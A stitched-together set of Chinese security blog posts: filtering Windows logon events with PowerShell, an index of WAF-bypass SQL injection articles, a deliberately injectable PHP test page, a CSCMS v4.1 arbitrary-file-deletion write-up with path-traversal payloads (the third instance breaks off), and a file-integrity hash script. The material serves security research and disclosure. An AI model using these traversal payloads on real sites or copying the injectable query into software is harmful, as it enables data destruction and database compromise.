0x00 前言 Windows 中提供了 2 个分析事件日志的 PowerShell cmdlet:一个是Get-WinEvent,超级强大,但使用起来比较麻烦;另一个是Get-EventLog,使得起来相当简单,可以实时筛选,接下来,我们利用PowerShell 来自动筛选 Windows 事件日志。 0x01 Get-WinEvent A、XML编写 假设有这样一个需求:windows server2008 R2环境,需要统计一下近7天用户登录次数。 我们可以直接利用事件查看器里面筛选日志,如下图: 通过查看登录日志,发现在真正的登录时间,是这条日志,去其他不同的是,此条日志记录的进程名是winlogon.exe 要实现比较精确的筛选,需要从这里入手, 进一步筛选 点击“事件属性”里面的“详细信息”中,可以看见一条信息,后面会用到: 在“筛选当前日志”中,选择“XML”,勾选“手动编辑查询”,并确认,在手动编辑中加入以下设置 *[EventData[Data[@Name='ProcessName'] and (Data='c:\windows\system32\winlogon.exe')]] and 如图(里面的PrcessName和winlogon.exe就是前面在“事件属性”里面的“详细信息”中看到的): *[EventData[Data[@Name='ProcessName'] and (Data='c:\windows\system32\winlogon.exe')]] and 点击确认,可以精确的筛选用户登录事件。 windows server 2012的登录筛选 在windows server2012中,可能会有一些小变化,但是也没关系,按照之前的解决思路即可。下面可做参考: *[EventData[Data[@Name='ProcessName'] and (Data='c:\windows\system32\winlogon.exe')]] and *[EventData[Data[@Name='LogonType'] and (Data='10')]] and B、Get-WinEvent使用 Get-WinEvent -FilterHashtable @{Logname='system';Id='6006','6005'} 0x02 Get-EventLog Get-EventLog Security -InstanceId 4624,4625 $xml='<QueryList> <Query Id="0" Path="Security"> <Select Path="Security">*[System[(EventID=4624)]]</Select> </Query> </QueryList>' $events = Get-WinEvent -FilterXml $xml $i=0 #Write-Host '登录时间','登录类型','登录账号','登录IP地址' while ($i -lt $events.length) { $time=$events[$i].TimeCreated $type=[regex]::matches($events[$i].Message, '登录类型:(.+)') | %{$_.Groups[1].Value.Trim()} $user=([regex]::matches($events[$i].Message, '帐户名:(.+)') | %{$_.Groups[1].Value.Trim()})[1] $IP=[regex]::matches($events[$i].Message, '源网络地址:(.+)') | %{$_.Groups[1].Value.Trim()} Write-Host $time,$user,$type,$IP $i++ } 脚本运行: 查看用户登录事件、登录用户名、登录类型、登录IP地址 参考链接: Get-EventLog 使用 https://www.cnblogs.com/brooks-dotnet/archive/2010/08/24/1807615.html https://www.cnblogs.com/fuhj02/archive/2011/01/03/1924339.html Get-EventLog使用 https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Get-EventLog?view=powershell-5.1 精准的筛选windows用户登录事件 https://www.iyunv.com/thread-525384-1-1.html
梳理了一下自己写过的WAF Bypass相关的文章,按照编写时间顺序,整理成了一个WAF Bypass实战系列,如果你准备了解WAF攻防这一块的内容,可以来了解一下。 第一篇:《BypassD盾IIS防火墙SQL注入防御(多姿势)》 原文地址:http://www.cnblogs.com/xiaozi/p/7357937.html 2017年9月中旬写的,记录在博客园,分享了几种Bypass D盾_IIS防火墙的思路 2018年3月,又写了一篇关于新版D盾的绕过思路: 《分享一个Bypass D盾_防火墙(新版)SQL注入防御的思路》 https://www.t00ls.net/thread-44628-1-1.html 第二篇:《《Bypass X-WAF SQL注入防御(多姿势)》》 原文地址:https://www.cnblogs.com/xiaozi/p/9132409.html 2018年4月写的,从代码出发,一步步理解WAF的工作原理,进行WAF Bypass。 第三篇:《Bypass ngx_lua_waf SQL注入防御(多姿势)》 原文地址:https://www.cnblogs.com/xiaozi/p/9138126.html 2018年5月,分享了三种另类思路 Bypass ngx_lua_waf 。 第四篇:《Bypass 360主机卫士SQL注入防御(多姿势)》 原文地址:https://www.cnblogs.com/xiaozi/p/9132737.html 2018年5月,分享了八种关于360主机卫士的绕过思路以及自动化Bypass的两种利用方法。 第五篇:《Bypass 护卫神SQL注入防御(多姿势)》 原文地址:https://www.cnblogs.com/xiaozi/p/9138160.html 2018年6月写的,分享了7种IIS下SQL注入 Bypass 护卫神的思路 番外篇:《打破基于OpenResty的WEB安全防护(CVE-2018-9230)》 原文地址:https://www.anquanke.com/post/id/103771
方法一: 新建一个网页进行上传,代码代码如下: <html> <head></head> <body> <form method="post" enctype="multipart/form-data"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> <?php $con = mysql_connect("localhost","root","root"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); if (isset($_POST['id'])) { $id = $_REQUEST['id']; $query = "SELECT * FROM admin WHERE id = $id "; $result = mysql_query($query); while($row = mysql_fetch_array($result)) { echo $row['0'] . " " . $row['1']; echo "<br />"; } echo "<br/>"; echo $query; mysql_close($con); } ?> </html> 方法2: Burp Post、Get数据包转为上传multipart/form-data格式数据包工具:http://nnz.nz/multipart.php
任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms 漏洞实例一: 漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行: public function del(){ $dir = $this->input->get_post('id',true); if(empty($dir)){ getjson(L('plub_11')); } $dirs = array(); if(!is_array($dir)){ $dirs[] = $dir; }else{ $dirs = $dir; } foreach($dirs as $dir) { deldir(FCPATH.'attachment/backup/'.$dir); } $info['msg'] = L('plub_12'); $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999); getjson($info,0); } 漏洞利用: 1、 根目录下新建test目录作为测试: 2、 构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\\..\\test 漏洞实例二: 漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行: public function del(){ $ac = $this->input->get('ac',true); $op = $this->input->get('op',true); $dir = $this->input->get('dirs',true); $file = $this->input->get('file'); if($ac!='mobile') $ac='pc'; if($op!='home' && $op!='user') $op='skins'; if(empty($dir)) getjson(L('plub_27')); $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file; if (!is_dir($skin_dir)) { //文件 $res=unlink($skin_dir); }else{ //目录 $res=deldir($skin_dir); } if($res){ $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999); $info['msg'] = L('plub_46'); $info['turn'] = 1; getjson($info,0); }else{ getjson(L('plub_28')); } 漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt 漏洞实例三: 漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行: public function del(){ $dir = $this->input->get_post('dir',true); if($dir==''){ getjson(L('plub_del_0'),1); } deldir(FCPATH.'plugins'.FGF.$dir.FGF); //删除配置目录 deldir(CSCMS.$dir.FGF); //删除模板目录 deldir(FCPATH.'tpl/admin/'.$dir.FGF); $info['func'] = __FUNCTION__; $info['msg'] = L('plub_del_1'); getjson($info,0); } 漏洞利用:
一个简单的文件完整性hash验证脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import os import hashlib import json #网站目录所有文件列表 path_list=[] #静态文件可以不做hash效验 White_list=['.js','.jpg','.png','.html','.htm'] def GetFile(path): for dirpath, dirnames, filenames in os.walk(path): for dirname in dirnames: dir=os.path.join(dirpath, dirname) #print dir path_list.append(dir) for filename in filenames: file=os.path.join(dirpath, filename) if os.path.splitext(file)[1] not in White_list: #print file path_list.append(file) return path_list #使用文件迭代器,循环获取数据 def md5sum(file): m=hashlib.md5() if os.path.isfile(file): f=open(file,'rb') for line in f: m.update(line) f.close else: m.update(file) return (m.hexdigest()) def Get_md5result(webpath): pathlist=GetFile(webpath) md5_file={} for file in pathlist: md5_file[file]=md5sum(file) json_data=json.dumps(md5_file) fileObject = open('result.json', 'w') fileObject.write(json_data) fileObject.close() def load_data(json_file): model={} with open(json_file,'r') as json_file: model=json.load(json_file) return model def Analysis_dicts(dict1,dict2): keys1 = dict1.keys() keys2 = dict2.keys() ret1 = [ i for i in keys1 if i not in keys2] ret2 = [ i for i in keys2 if i not in keys1] print u"可能被删除的文件有:" for i in ret1: print i print u"新增的文件有:" for i in ret2: print i print u"可能被篡改的文件有:" ret3=list((set(keys1).union(set(keys2)))^(set(keys1)^set(keys2))) for key in ret3: if key in keys1 and key in keys2: if dict1[key] == dict2[key]: pass else: print key if __name__ == '__main__': webpath = raw_input("Please enter your web physical path, for example, c:\\wwww]. ").lower() Get_md5result(webpath) dict2=load_data("result.json") methodselect= raw_input("[?] Check the integrity of the file: [Y]es or [N]O (Y/N): ").lower() if methodselect == 'y': file=raw_input("Please enter the hash file path to be compared: ").lower() dict1=load_data(file) Analysis_dicts(dict1,dict2) elif methodselect == 'n': exit()